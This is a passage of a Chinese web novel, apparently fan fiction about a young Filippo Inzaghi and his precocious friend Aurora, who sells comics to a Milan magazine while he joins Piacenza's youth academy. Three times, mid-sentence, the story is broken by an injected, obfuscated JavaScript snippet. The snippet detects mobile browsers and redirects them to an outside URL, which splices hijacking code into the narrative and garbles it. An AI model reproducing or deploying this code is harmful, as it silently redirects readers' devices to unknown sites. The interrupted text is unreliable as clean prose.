因扎吉家已经结束了晚餐,她和抽烟看报的詹卡洛以及为电视剧动容的玛丽娜打了个招呼,然后快步冲向兄弟两房间,先敲了敲门。 “请进。”菲利普听出是奥罗拉来了,他正对着自己的青训作业愁眉不展。 菲利普居然没有去后院和西蒙内一起踢球,他一定是在青训营里消耗了精力!奥罗拉看着他对着空白的本子发呆,询问他第一天去青训过得怎么样。 一想起下午的训练,菲利普手舞足蹈,和小伙伴分享:“我一直以为跟上课一样,我们要先去哪个地方坐着学习,或者一直跑步一直练习射门,但是梅森先生带我们玩了猎人与兔子的游戏,第一轮我是猎人,成功捕获了好几个兔子……” 看到男孩脸上洋溢出的快乐笑容,她认真倾听,也为他高兴。 “那你刚才干嘛像皮球破了一样苦着脸?”奥罗拉右手托着下巴,架在桌面上,很是奇怪。 菲利普揉了揉自己的小脸,叹气:“教练说,我们每次训练结束都要写训练心得,今天要我们谈谈最好的一次触球。” “你今天触球几次?”她试着引导。 “5次?6次?我根本就不记得了。”这就是他忧愁的原因,只记得玩得很开心,根本没注意什么时候触球,何谈比较。 “我想以后的训练也会有类似的问题,你除了听从指挥,记得试着思考,教练为什么让你们这样做?这些动作和踢球有什么关系?再多观察教练对不同学员的态度,是他们做错或者做对了什么吗?错的你就避免,对的你就学习。” 关于足球知识她爱莫能助,但如果只为了完成作业,邪修技巧就很多了,奥罗拉喝了一口果汁,继续说:“今天你不记得触球的感受,没关系,可以先编一个,没人能拆穿。教练只是想要你们学会用脑子踢球,多看多想。”用食指戳了戳似懂非懂的菲利普的脑门。 “爱洛好厉害……”男孩满眼崇拜,又晃了晃脑袋,把被她弄乱的头发整理好,在纸上歪歪扭扭地编着心得体会,奥罗拉找出一本漫画打发时间,等帮菲利普把心得改好,才告别他回家休息。 一周过去,菲利普开始跟着9至12岁的男生训练,教练经常让他们进行“2v1”“3v2”小范围对抗,逼迫球员快速决策,用“空间感知游戏”替代战术板,让他们理解踢球的策略。菲利普的心得越写越流畅。 奥罗拉除了跟家教继续完成绘画和音乐的相关练习,剩余时间都在构思她的短篇故事大纲,选了其中三个:《一觉醒来成了球星太太》、《前男友出轨后发现我是首富千金》、《带球跑后失忆了》。 当然,以她现在的年龄,内容是有点惊世骇俗,所以她只是跟妈妈们用一些美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309210|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化过的语言描述了故事大概内容,毕竟很多名著剧情提炼起来比她更过分。 她决定采用快穿的设定,把几个短篇串联起来,同时展示不同世界的穿搭风格,让读者在为狗血剧情震撼时也享受画面的华美绮丽。《球星》是美国与意大利潮流元素碰撞,《前男友》主打贵族老钱风,《带球跑》聚焦小镇乡村。 涂涂改改了十几次,奥罗拉终于在十月份把稿子寄了出去,菲利普也迎来了第一场正式的足球比赛。 “其实我还没到可以上场的年龄,梅森改了报名表。”菲利普啃着奥罗拉做给他的养胃小零食——烤馒头片,把这个“秘密”小声分享给她。 “没关系,这是善意的谎言。”她也凑到男孩耳边用气声回复。 当天,奥罗拉带着相机,想录下菲利普进球的英姿,但比赛前的几个小时,她会跟詹卡洛一起当球场志愿者,詹卡洛搬运动器材,她负责引导两个队伍去相应场地热身。 因为只是小镇的青训比赛,观看的人不多,大部分是队员的家长,也有一些周边凑热闹的市民,草地破破烂烂的,有好几处泥巴地,跟正规体育场无法比。 奥罗拉努力忽视自己被溅了黄点子的小皮鞋,走到场地边缘偏中间的位置,架起三脚架调试相机。菲利普现在就穿着9号球衣热身,他认为自己是9号出生的,这是他的幸运数字,巧合的是,他日后喜欢的范巴斯滕也是传奇9号。 “菲利普,加油!”开场前,奥罗拉赶紧送上鼓励,他在人群里找了一圈,才发现奥罗拉就站在场边,踮起脚向她挥手示意。 教练们撤到场外,两队孩子像模像样地围成两个大圈,给彼此加油打气,小队长投硬币选边后,两组人马按照自家教练的安排列好队形,裁判一声哨响,比赛开始! 小孩子们的比赛,没有成人组激烈,他们才训练不久,一开始还能努力奔跑,渐渐地就体力不支,比赛节奏慢了起来。 除了固定机位录像,奥罗拉还准备了一个相机是给菲利普出直拍的,不枉费她凭借志愿者的优待找到的绝佳位置,她手持相机,镜头紧紧跟着菲利普,只见他趁对面后卫不在状态,加速绕过阻碍,靠近门柱,此刻他的队友把球踢向门框,他用头一顶,发丝纷飞,改变了球进门的方向,对面门将扑向原本的进球角度,根本来不及改道。 足球被送入球网!这是菲利普·因扎吉的首粒进球! “啊啊啊啊啊啊!菲利普你就是最棒的!”奥罗拉控制自己拿好相机不要跳起来,镜头的摇晃说明了摄影师的激动,他面对着她腼腆微笑,脸蛋红彤彤,比苹果还甜蜜。 这群孩子运动后汗水的气味冲击让人保持了理智,她放弃了拥抱菲利普的念头,只是举着相机采访他赛后的感受。 “说点什么吧,菲利普,进球的感觉如何?” “很奇妙,很享受。”男孩开始回味破门的感觉,他想起了保罗·罗西在世界杯的几个头球,原来那一刻竟如此美妙。 “你今天真的太棒了,我为你骄傲!”奥罗拉看不懂比赛,但她能感受到菲利普的进步神速,过去只是在“踢”球,没有章法,而这次比赛中,他开始有意识地无球跑动,观察队友动向,他能进球,是因为他“看”到了球可能出现的路径,这就是属于菲利普的足球天赋——门前嗅觉。禁区之狐已然亮出稚嫩的尖牙。 奥罗拉收起另一个相机,菲利普帮着拿支架,他们一起回到观众席。等候多时的西蒙内冲过来抱住哥哥,玛丽娜拿着手绢给他擦汗,詹卡洛拍了拍大儿子肩膀,反复夸他表现不错,埃琳娜和马泰奥加入夸夸团,其他家长也纷纷表达对他进球的肯定,9号男孩仿佛喝了酒,晕乎乎的,一直在傻笑。 “球王,来,给我留个签名,我要TO签。”奥罗拉从包里翻出自制的印有菲利普相片的小卡片,示意他在空白地带写字,菲利普也享受了一波大明星被簇拥的待遇。 这一刻,他给自己定下目标,他要一直进球。 7. 一个小目标 等待的日子过得尤其漫长,投稿后的第一周,因为熟知意大利人的松弛感,奥罗拉还在想,自己的稿件或许都没从邮箱里取出来。第二周,虽然身体在因扎吉家看《机器猫》,但魂已经快从呆滞的眼角溜出来了,两个男孩都感受到奥罗拉的烦躁。第三周,她想起呕心沥血的稿件,一边唾弃自己画的是什么鬼东西这个时代果然不能接受吧,一边怒骂编辑部没有品味,菲利普第一次看到女孩情绪如此外露的样子,抿了抿嘴唇,原来妹妹不是无所不能的,她会苦恼会在床上翻滚大叫,好可爱。 这是她这周第三次“路过”邮局,她告诉自己,再没接到回复就拉倒,找其他杂志二投,“我就不信了,我的作品有那么差吗?”被折磨得心力交瘁的奥罗拉,睡眠质量都下降了,走到前台还没张嘴,邮局的姐姐就递过来一打信件,显然已经对她脸熟。 “……谢谢”她不是第一次收信,但激情早被一封封家庭缴税或者广告推销的信件消磨,深吸一口气,一一翻阅,翻到倒数第二封时,气息加重。 是生是死就这一哆嗦,怀着抽SSR的悲壮心情,奥罗拉小心地用裁纸刀划开封口,展开信纸,闭气,阅读,整个人瞬间像果冻一样软了下来,太好了,单抽出金!* “菲利普!”她尖叫着冲出邮局,捧着男孩的脸重重地亲了好几下,抱着他跳来跳去,“我成功了,我成功了!” 路过的人看到两个粉团黏在一块,会心一笑,纷纷回忆起自己青涩的初恋。 “我好快乐啊菲利普,你进球的时候也是这么快乐吗?” “爱洛,你……你哭了吗?”菲利普轻轻抹了她的眼角,有些担忧。 摇头“我是太高兴了!” 她哭了吗?在学校里被老师表扬,在家里被家长夸赞,她内心都没有太大波澜,因为知道自己有重生的优势,取得成绩理所当然。 但这次不一样,这辈子她从三岁开始跟老师学习画画,没有很大的天分,进步快是因为耐得下心,一练就是几个小时,她有时候看着凹陷的食指内侧,问自己干嘛要那么辛苦?或许,是为了不再碌碌无为,在世界留下属于自己的一笔吧。这些天,她陷入无数次自我怀疑,是否适合创作,思想是不是和这个时代格格不入,还有一点不服气,所幸,作品被专业的人肯定,她没有输。 奥罗拉已经松开手,催促菲利普跑快一点,她要赶紧回家告诉父母这个好消息。 “爸爸爸爸,你当我经纪人吧,代我去签约!”她晃着马泰奥衣角,术业有专攻,中介公司老板四舍五入也能做经纪人啊,不都是代理推销吗?比起和职业经纪人斗智斗勇,她还是更信任马泰奥。 傻爸爸将回信读了一遍又一遍,嘴角就没下来过,“放心,爸爸明天就约合作的律师一起去杂志社签合同,哎呀,我的女儿真是神童!” 埃琳娜把披萨从烤箱里取出来,在玻璃杯里倒上奥罗拉爱喝的桃汁,让父女两先吃饭。难得见到奥罗拉那么激动,终于有了一点同龄女孩的样子。之前开家长会,老师特地找她聊了聊,说奥罗拉很聪明自律,但是在学校有些孤僻,除了看书画画很少跟同学玩闹,当时她惊讶极了,因为女儿经常和因扎吉兄弟一起行动,没想到跟同学那么生疏,所以回来后一直默默观察奥罗拉,有点担心。前阵子奥罗拉找她商量想跳级一年,她还在犹豫,或许女儿不是孤僻,是思想比同学成熟,跟他们说不上话,早点完成学业说不定对女儿更好…… “可惜妈妈明天上课,不能陪你们一起了,我等会就帮你请假。”埃琳娜摸摸了女孩脑袋,好像长高了一些。 一家三口分食着玛格丽特披萨,啃着外脆内软的饼皮,奥罗拉好想把时间暂停,细细享受这多重美好交织的时刻。 《红秀》隶属于蒙达多利出版集团,该集团在今年被贝卢斯科尼收购,目前总部位于伦巴第大区的米兰,马泰奥一大早就开车载着奥罗拉和律师,经过一个多小时的跋涉,到达了眼前这栋由知名建筑师尼迈耶设计的蒙达多利传媒大楼。 只见空旷的土地上伫立着一排犹如宫殿的建筑,白色的外饰面将曲线和直线融合得浑然天成,既复古又前卫,像脊柱一般包裹着缀满玻璃的主体大楼,建筑前方的大片水面将其映衬得轻盈梦幻。走近这些拱形柱廊,奥罗拉不得不感概:这栋建筑美丽却不古板厚重,夸张又克制,连办公楼都这么艺术大气上档次,不愧是意大利最大的期刊出版商!对蒙达多利集团更是满意。 一路走来,到处是穿着时尚的人群,和小镇里的朴实氛围不一样,人人都是精英做派,步履生风,奥罗拉有种从乡下进城了的错觉。 马泰奥和前台出示信件,前台打电话向杂志社核实身份,没等多久,一位身穿阿玛尼黑色西装的短发女人就风风火火的冲到问询台:“伊芙,他们在哪?” 顺着伊芙的眼神,《红秀》副主编之一的潘多拉看到了一个奇怪的组合,两个西装革履的男子和一位大概一米三的小女孩? “你好,我是[努沃拉]。”nuvola是“云”的意语表述,奥罗拉的笔名。 女人沉默了一秒,先将人带到杂志社所处的楼层,她也不是没见过童模,但是那么小的篡稿人还是让她倍感冲击,毕竟,那些漫画可不是讲童话的。 奥罗拉之所以苦等回复长达一个多月,就是因为好几个编辑对它抱有疑虑:从画面上看作品还算精美,其中展示的穿搭对他们都很有吸引力,也切合了《红秀》引领生活方式的宗旨,但是故事……用后来的话说就是“有毒”,看得人又羞又爽,和其他文艺气息浓厚的内容完全天南地北,有点破坏杂志想构造的亲民风格,狗血到和现实差太远了,原本的读者能接受吗? 于是稿件去留就这么一直拖着,直到为了竞选主编位置的潘多拉,从众多备选中发现了努沃拉的漫画,她深知自己的资历没有其他几个副主编深厚,好不容易啃下了新版块,如果效果不及预期,就连副主编的位置都坐不稳了,最后她决定赌一把,将《流浪宇宙》系列短篇漫画作为新版块的开篇之作。 小女孩的出现让潘多拉怀疑起了自己,如果被人知道一个未成年为杂志社画爱情漫画……潘多拉关上会议室的门,拉上百叶窗,阻拦了外面打量的视线。 “我是《红秀》副主编潘多拉。”她斟酌着措辞,“努沃拉,你的《流浪宇宙》确实奇特有吸引力,但它是爱情故事,而你的年纪,或许会让我们彼此都面临不可预测的舆论压力。”众人坐好后,潘多拉暗示了她的担忧。 “那么,潘多拉小姐,除了你,有其他人知道我就是努沃拉吗?”女孩也才反应过来,这确实有点棘手。 “幸运的是,因为某些原因,我和你的见面是保密的,外面的人都只知道我约了广告商。”人心难测,怕其他副主编下绊子,新栏目的内容潘多拉决定全权负责,不到成刊发行的那一刻,都不能放心,所以今天才亲自接待,歪打正着了。 女孩笑了“既然如此,你不说我不说,没人知道作者是谁。贵公司能看中我的作品,难道不是因为它有可取之处吗?只需要加上一份保密条款……”奥罗拉没有犯怵,条理清晰,不卑不亢:“当然,如果因为年纪这个可笑的原因就把我的作品拒之门外,那我也尊重,毕竟选择是双向的。”言下之意就是杂志社瞻前顾后不堪大用。 奥罗拉在得知对面女人是副主编时,就有了一些猜想,自己的作品一定对她很重要,这件事还有戏。 潘多拉也没更好的选择,女孩处事沉稳,不像会中途撂挑子的性格,在商言商,还是要靠合同说话。女人吩咐助理:“帮我叫版权部门的丽莎过来。”丽莎是她在杂志社的心腹。 向马泰奥说明了情况,奥罗拉让爸爸代理签约,具体交给他们专业的人沟通。 在马泰奥、律师、版权部门的人对合同进行一番唇枪舌战后,《红秀》暂定买下前三篇稿件版权,根据发行效果,杂志方有权结束或继续合作关系,如继续合作,会提前一周续约,奥罗拉至少要为杂志提供同质量的五篇新故事,每周日前提供一篇,根据供稿次数结算版权费用。作者不需要参与任何线下宣传活动,但要积极配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309211|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合杂志社合理的修改意见。 送走奥罗拉一行人,潘多拉喝了一口卡布奇诺,从落地窗往外看着远处熙攘的人潮,玻璃倒映出她忐忑又充满野望的双眼。一步天堂,或者,地狱。 为了抢时间,潘多拉动用许多人脉资源推动新版面落地,这次《红秀》的动作很快,《流浪宇宙》隔了一周就登刊了。奥罗拉翻开寄给她的样刊,第一个故事《球星》先刊登了三分之一,位于杂志的最后几页。 很多老读者在快速翻完自己最感兴趣的内容后,才发现杂志居然连载了漫画,一开始只是随意看了几眼,嗯,风格很独特,跟常见的水彩或者油画类的插画不同,线条繁杂,画面华丽,男女主长着如同雕塑般的面容,配角也赏心悦目。再仔细阅读文本,主角居然拥有不定时穿梭到各个世界的能力,好奇特的设定?看着看着,就被女主附身美国模特,和意大利球星男友间发生的推拉狗血剧情吸引得欲罢不能,正上头呢,没了?! 奥罗拉不知道是不是自己的错觉,好像学校里开始有人讨论《球星》了,路过报刊亭,也常见有人抢购《红秀》。 因为蹭了足球的热点,又有恋爱元素,新栏目可以说是小爆了。一开始人们只是抓心挠肺地期待后续剧情,除了向杂志社打电话写信询问催更,就只能将可怜的几页漫画翻了一遍又一遍,然后突然发现,咦?人物穿的衣服挺好看的嘛,我也可以模仿啊!从爱情故事变穿搭指南,杂志热度一发不可收拾,许多人特地多买一本把漫画剪下来收藏。 潘多拉拿到了销售数据和问卷反馈后迫不及待拨通了奥罗拉家的电话。 “你好?” “奥罗拉,有空来米兰续约吗?” 她扬起了笑脸:“看来漫画很成功?” “杂志的销量比之前涨了百分之三十,但我知道这不是最终的成绩。”电话里的声音稍显失真,却能听出潘多拉的颤抖,这是她离成功无比近的时刻,“你介意我在漫画后面增加穿搭模仿秀的内容吗?” 奥罗拉一点就通:“增加读者互动,巩固漫迷群体,提高对杂志的忠诚度,打破漫画和现实的隔阂,互相引流破圈。为什么不呢?” “天啊……你,你真的是天才。”她说的比潘多拉想得更深入。 “谢谢夸奖,关于我的漫画,其实后面的故事还能植入广告……具体的,这周日,我们米兰见面再谈。”她放下钩子。 眼见着小目标就要达成,女孩冲回房间,构思新的故事大纲冷静冷静。 关于植入的产品,奥罗拉标准比较严格,贵精不贵多。而《红秀》对这方面的合作喜闻乐见,努力推动,毕竟杂志最大头的盈利在于赞助商投的广告。一开始很多品牌还在观望,项目停滞,最后奥罗拉做主,首次推广费给了一个较低的价格,这才有几个厂家想试水,她选择了一个口碑不错的意面品牌,放在漫画里也不突兀。 于是读者在拿到新一期杂志,兴冲冲翻阅漫画时,发现多了一个联动栏目,鼓励大家进行穿搭模仿,积极投稿、投票,如果被评为当期最佳,会得到由赞助商送出的各类奖品。这个活动让更多人反复研究起漫画里的造型,时不时就会瞄到背景里出现的意面品牌,导致在选购食材时,很多人顺手就拿了一包女主同款。意面销量明显上涨后,广告商乐得大手一挥,加码赞助第一期穿搭评选的奖品,其他品牌公关们也不再高冷,纷纷对杂志商务部送上关怀,争取拿到爱的号码牌。 当然,也有人通过报纸和电视电台批评这个漫画,说作者哗众取宠画技中庸,说爱这个漫画的人口味猎奇没有内涵,说杂志社利欲熏心为了广告破坏作品独立性等等。 奥罗拉当然知道这些褒贬不一的评价,她也知道自己并非顶尖画师,所学的一切技能是为了未来在广告业能更好输出自己的创意,批评固然会影响她的心情,但议论却让漫画得到更高的曝光,黑红也是红,只要销量稳定上涨,她、杂志社、广告商都是赢家。 这就是传媒的可怕和动人之处了,充满了谎言和利用,却也是很多人的谋生渠道。 8. 职业第一步 皮亚琴查,艾米利亚区域的工商业中心,虽然不是一个热门旅游城市,却拥有保存完好的中世纪建筑群,低调厚重是它的底色。此时的皮亚琴查因为一年一度的美食节,迎来了全大区来朝圣的食客,人群脚步的杂音、交响乐团的鸣奏、面食沸腾的白雾,随着风到访了每个街道,庆祝难得的狂欢。 一群孩子正穿行于被称为“皮亚琴查客厅”的卡瓦利广场,神色悠然,步履轻快,路过青铜骑士雕像,寻找着属于他们的美味天堂。 “就是这里。”菲利普的好兄弟法比奥打头阵,领着他们绕过享用传统填充面食Tortelli(类似饺子)的大部队,踏入了一间仅有四五平米的甜品店。店面虽小,但装潢精致温馨,满是面包烘烤的香气,或许是因为大家都去美食节摊位凑热闹了,店里面只有一个顾客。菲利普、西蒙内、法比奥围着小桌子坐下,奥罗拉和索菲亚另坐一桌,他们在法比奥的推荐下,都点了提拉米苏。 奥罗拉无法接受纯苦的咖啡,却很爱吃提拉米苏,自己在家经常做,听法比奥将这家店吹得天花乱坠,她是抱着审判的态度来尝试的。甜点顶部撒满可可粉,咖啡和朗姆酒浸润的手指饼干与奶糊错层堆叠,口感柔滑,风味浓郁,苦甜配比恰到好处。冷藏过的提拉米苏带走了身上的热气,她细细品尝,对这次的探店之行一百个满意。 “西蒙内,听说你成为了社区足球队队长?”奥罗拉没来得及捂住索菲亚的嘴,痛苦地闭上双眼。 菲利普这个弟控,恨不得把这件事在学校里广而告之,夸起弟弟的射门能力和领袖气质时,尽情展示了被青训心得锻炼出的文采,那叫一个有理有据,滔滔不绝。她确实也为西蒙内高兴,但她真的听到耳朵快起茧了。 已经八岁的西蒙内,有一张与哥哥八成像的脸,但下巴轮廓更圆润。两兄弟身上的气质天差地别,菲利普面对不熟悉的人不爱笑,表情经常带点忧郁,西蒙内则很爱展示苹果肌,露出大白牙,傻乎乎的,奥罗拉在心里吐槽两个人是“没头脑和不高兴”。 “没错,西蒙内在那群孩子里表现得最为突出,一看就是做队长的料!明天有一场社区赛,要一起去看吗?”她决定抢答,打断菲利普的吟唱,生硬地转移话题。 索菲亚舔着牙齿上的可可粉,点头答应了。 作为自封的姐姐,对两个弟弟是不会厚此薄彼的,她继续履行着自己“站姐”的职责全程录制,让索菲亚替她尖叫欢呼。 没想到一场比赛下来,平日里表现得古灵精怪的索菲亚,仿佛第一次认识西蒙内一样,双手捧心,眼睛跟随小因扎吉,发自内心地咏叹:“他真帅气。” 帅……吗?盯着镜头里可爱的妹妹头西蒙内,奥罗拉表示不理解小萝莉对帅的定义,这或许就是妈粉和女友粉的区别吧。 她的第四年小学生涯在1984年的夏天迎来尾声,埃琳娜最终还是答应了跳级的请求,只要通过学校内部评估,奥罗拉就可以直升初中,跟菲利普同级。 《红秀》上连载的漫画早在半年前完结,期间出现了挺多跟风模仿的画家,确实让杂志销量受了一点影响,不过也在她和已经升上主编的潘多拉的预料之内,奥罗拉决定再沉淀几年,她画腻了,打算见好就收,云嘛,总是漂泊不定的,她有自信用另一种形式继续完成她的梦想。 为了升学万无一失,奥罗拉拒绝了因扎吉家的郊游邀请,专心复习意大利语,没想到当天晚上菲利普进了她房间,背着手欲言又止。 他很不好意思地舔了舔唇,把玻璃瓶递给发懵的女孩:“蘑菇是我在森林里采的,我跟玛丽娜学了好久怎么熬酱,这是最好吃的一瓶,放冰箱可以保存一个月。” “为什么突然送我这个?”她接过瓶子,奶白色的酱汁混合着切得细碎的蘑菇,一看就知道很费功夫。 “那爱洛为什么送我馒头片呢?”男孩反问。四岁以后,家里很注意他的饮食,时不时奥罗拉还会投喂,他的胃口好了很多,身体也比小时候结实了一些。 她明白了,他们把彼此当家人啊!对家人好不需要理由。女孩恍然大悟,带着欣慰的表情,空着的手控制着力度拍了拍菲利普的肩膀:“你长大了。” “什么啊……我一直比你大啊……”虽然爱洛哪哪都优秀,但明明他才是哥哥,开始进入青春期的男孩不知道为什么,情绪突然低落。 “是是是,我们要一起当初中生了,哥哥!”奥罗拉心情不错,声音比平时更甜。 想象他们一起上课的场景,菲利普这才笑了起来。 因为意大利学校大部分不强制着装,没有所谓的校服,奥罗拉穿了一身浅绿色及膝连衣裙。扎了马尾,拿起斜挎包,穿好运动鞋,她跨出房门兴奋地吸入一口早晨凉爽湿润的空气。 “叮叮”已经等在门口的菲利普按了几下自行车车铃,等女孩靠近后,递给她一个自己做的三明治。时间还早,奥罗拉打算吃完爱心早餐再出发,拆开包装大口啃着,因为抽条褪去婴儿肥的脸蛋再次鼓鼓囊囊,男孩的眼神扫过她的嘴角,那里沾了一点沙拉酱。 “你很有做饭天赋嘛菲利普,上次的蘑菇酱,今天的三明治,味道都很好耶。”进食也不忘了发扬意大利人民传统美德,夸,变着花样夸,“如果能每天吃到这么美味的早餐……多长高十厘米我也愿意啊。”她开着玩笑,许愿的时候是一点亏都不吃。 “喜欢的话,我每天都做。”菲利普听进去了,脸上漾出两个小酒窝。 “这里……”等奥罗拉吃完,他拿出纸巾,指着嘴角示意。随意擦了几下,女孩快速处理完垃圾,就侧坐在自行车后座,用书包压着裙子,双手抓紧车座下的座杆,大声喊着:“出发!” 男孩按了两下车铃回应,因为训练慢慢长粗的大腿用力蹬着脚踏,迎着风,以一个不快不慢的速度骑行。 两个人并肩寻找着教室,时不时有认识菲利普的同学跟他打招呼。 “这是你那个跳级的妹妹?”有些不是太熟悉的人,隐约知道他有个妹妹升上初中,很聪明,还以为是菲利普的亲妹妹。 菲利普假期不忘和球友炫耀爱洛优秀的成绩,朋友们知道奥罗拉只是他发小,但因为她经常和因扎吉兄弟一起出行,更多人理所当然以为他们是一家的。 菲利普不知道别人误会了,只是矜持地点点头,更坐实了传言,至于姓氏为什么不一样,小孩子脑补了各种奇怪的理由,又因为奥罗拉后来表现出来的大姐大形象,没人敢当面问。男孩也没想到这个误会后续造成的一系列连锁反应,使得他的求爱之路充满了艰难险阻。 “啪。”一个纸团滚到了奥罗拉桌子上,她斜了一眼菲利普,面不改色,等老师转身板书,才展开纸条,看看到底什么事能让他课都不听那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309212|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么着急[下午的比赛你真的不来吗?] 升上初中后,学习的科目增加了很多,上课时间变为8:00至13:00,今天菲利普的俱乐部安排他参加一场地区性的比赛,但奥罗拉有绘画课,早就拒绝了,比赛是看不完的,她一般只挑比较重要的去现场支持。 此时英语老师已经回头,其实站在讲台上,台下谁做了小动作都很显眼,奥罗拉没有搭理他,菲利普却因为频频的扭头引来老师的注意。 “菲利普,请你帮忙重复一下刚才的单词有几种含义。” 他受惊后抬头,咽了口口水,说不出话来。奥罗拉觉得活该,翠绿的眼眸写满幸灾乐祸,这开小差的习惯可不能姑息。 “We are what we repeatedly do. Excellence, then, is not an act, but a habit.我们重复的行为造就了我们。卓越不是一种行为,而是一种习惯。”英语老师用一句亚里士多德的话警醒着所有人,菲利普赶紧在下课时向他表达歉意。 “听说你喜欢踢球?有没有想过以后走职业道路?” “还没有先生。”他只是习惯了和朋友一起享受比赛,对于未来,没有概念,因为父母也从没对他表达过类似的期待,没给他任何压力。 “多学习一门语言总是有好处的,无论你未来从事哪个行业,好了,以后别走神,你妹妹等你很久了。”老师知道他不是“刺头”,平时对各科老师都挺尊重,很快就放人离开。 奥罗拉看菲利普出来,赶紧快步走到前面,不说话。菲利普低头跟着,看着她的马尾因为下楼梯的动作一晃一晃的,像小狗的尾巴。 为了打破沉默,他主动定下学习目标,保证自己一定认真上课。男孩知道自己的行为踩到奥罗拉底线,因为她经常跟他强调搞体育也要拿到本科毕业证,不能做文盲。奥罗拉知道菲利普说到做到的性格,就把这事放一边去了。 “下午加油,好好比赛,回来奖你好吃的。”她打一棒子给一个甜枣。 英语老师无心的问话却好像开启了他某一扇大门,他思考着职业足球和自己踢的比赛到底有什么不同,表现得居然比以往还积极,将门前嗅觉和无球跑动能力发挥得淋漓尽致,这也引起了一位球探的注意。 当时的皮亚琴查俱乐部虽然在意大利不属于豪门梯队,却是城市里唯一的职业俱乐部,当地青年如果想当职业球员,最主要的渠道就是加入该俱乐部青训队。皮亚琴察青训不设官方报名渠道,也不对外招募,所有球员都靠球探在本地以及周边城市观看各种比赛发掘。 三周的观察期一过,菲利普就从梅森教练那里得知他能升入皮亚琴查俱乐部青训的好消息。作为俱乐部粉丝,因扎吉一家别提多亢奋了。 虽然加入青训也不一定能踏上职业道路,詹卡洛还是和玛丽娜谈了许久,统一了意见:无论儿子做出什么选择,作为家长都全力支持,他们努力赚钱不就是为了能给孩子兜底吗? “成为一个职业青训队球员,意味着更严格的训练,更激烈的竞争,与此同时我和玛丽娜要求你不能放下学业,你认为自己准备好了吗?”詹卡洛语重心长,希望菲利普客观冷静。 他又一次回味起每次进球的喜悦,发觉自己无法忍受与足球分离,慎重点了点头。 9. 墙即是门 “呼呵……呼呵……”菲利普喘着粗气,他已经在场上跑了快半小时,喉咙一片干涸,鼻腔仿佛能闻到铁锈的气息,男孩只是用右手抹了抹额头和眼眶,将脸上的汗扫去一些,让视线变得更清晰,眼睛死死盯着高速移动的黑白皮球,努力靠近,双脚却像拖着十公斤的铁块,渐渐变得缓慢虚浮。 就在他终于把球控制到脚下后,一股热气从身后袭来,忽然,球被人快速断掉,与此同时,他的左半边身体被那股力量冲撞得失去了平衡,本就瘦弱的身躯如同场上的第二颗皮球,翻滚在草地上飞出三米远。 趴在草地上缓了几秒,菲利普撑着手臂,又一次艰难地爬起来,感受到膝盖上的痛楚,还是和教练举手示意,先处理伤口。 “是他太瘦了,我可没有推人!”面对教练谴责的眼神,也不过才12岁的鲍勃觉得自己很冤枉,难免对菲利普产生了怨气,明明就在正常的带球突破训练,大家都是你抢我我抢你的,身体接触不少,怎么就菲利普老是摔? 男孩在场下也很不好受,他低头任由队医将袜子拉下来,取下护腿板,为他的膝盖消毒,然后喷了一点药。因为刚进行激烈运动,队医交代男孩先站着缓十分钟才能落座和喝水,喝水也只能小口慢饮,他乖乖点头。 菲利普没想到在皮亚琴查青训营的日子那么难熬,身边不再是熟悉的队友和教练,大家训练时不会像在圣尼科洛一样,以玩为主,氛围轻松,身体对抗点到即止。 第一天入营时,他就被几个男孩评价“瘦得像根木棍”,自尊心极强的菲利普一瞬间眼睛都气红了,男孩们仿佛无事发生一样,嘻嘻哈哈地开始了训练。 他憋着一口气,不想让他们继续看轻自己。但现实很残酷,频繁的摔打让他很是消沉,再没有快速把他扶起的詹卡洛,再没有亲切安慰他的梅森,再没有主动传球给他的艾米尼奥……职业足球的第一课,菲利普学会了如何忍着众人嘲讽的眼神,吞下脆弱的眼泪,一次,又一次,从草地上爬起来。 但是站起来又能怎么样呢?菲利普痛苦地看着伤口,满脑子鲍勃嫌弃的控诉,坐在场边一直皱着眉头,不时抚摸着膝盖上的纱布,等待训练的结束。 经过60分钟的奔跑,男孩们体力流失得很严重,三三两两回到休息区,鲍勃早就忘记了场上的不快,在和朋友聊天打趣,菲利普仿佛变成了透明人,和他们格格不入。 直到教练将他叫到一旁。 弗朗松看着眼前新加入的男孩,很是头疼,根据这些天的观察,菲利普的身体对抗能力太差,跑起来轻飘飘的,速度也绝非顶尖,容易被追上,很难护住球,这些先天条件一时半会无法改善,他只能给到一些技术上的建议。 “你的脚法不够熟练,和其他队员有一定差距,尤其是传球和停球的技术。等膝盖好了,找一堵墙练习脚内侧传接球,每天练100次。”弗朗松翻看着助教的记录,对着眼前安静的男孩制定计划,门前嗅觉天赋再好又怎么样,接不到球都是假的。 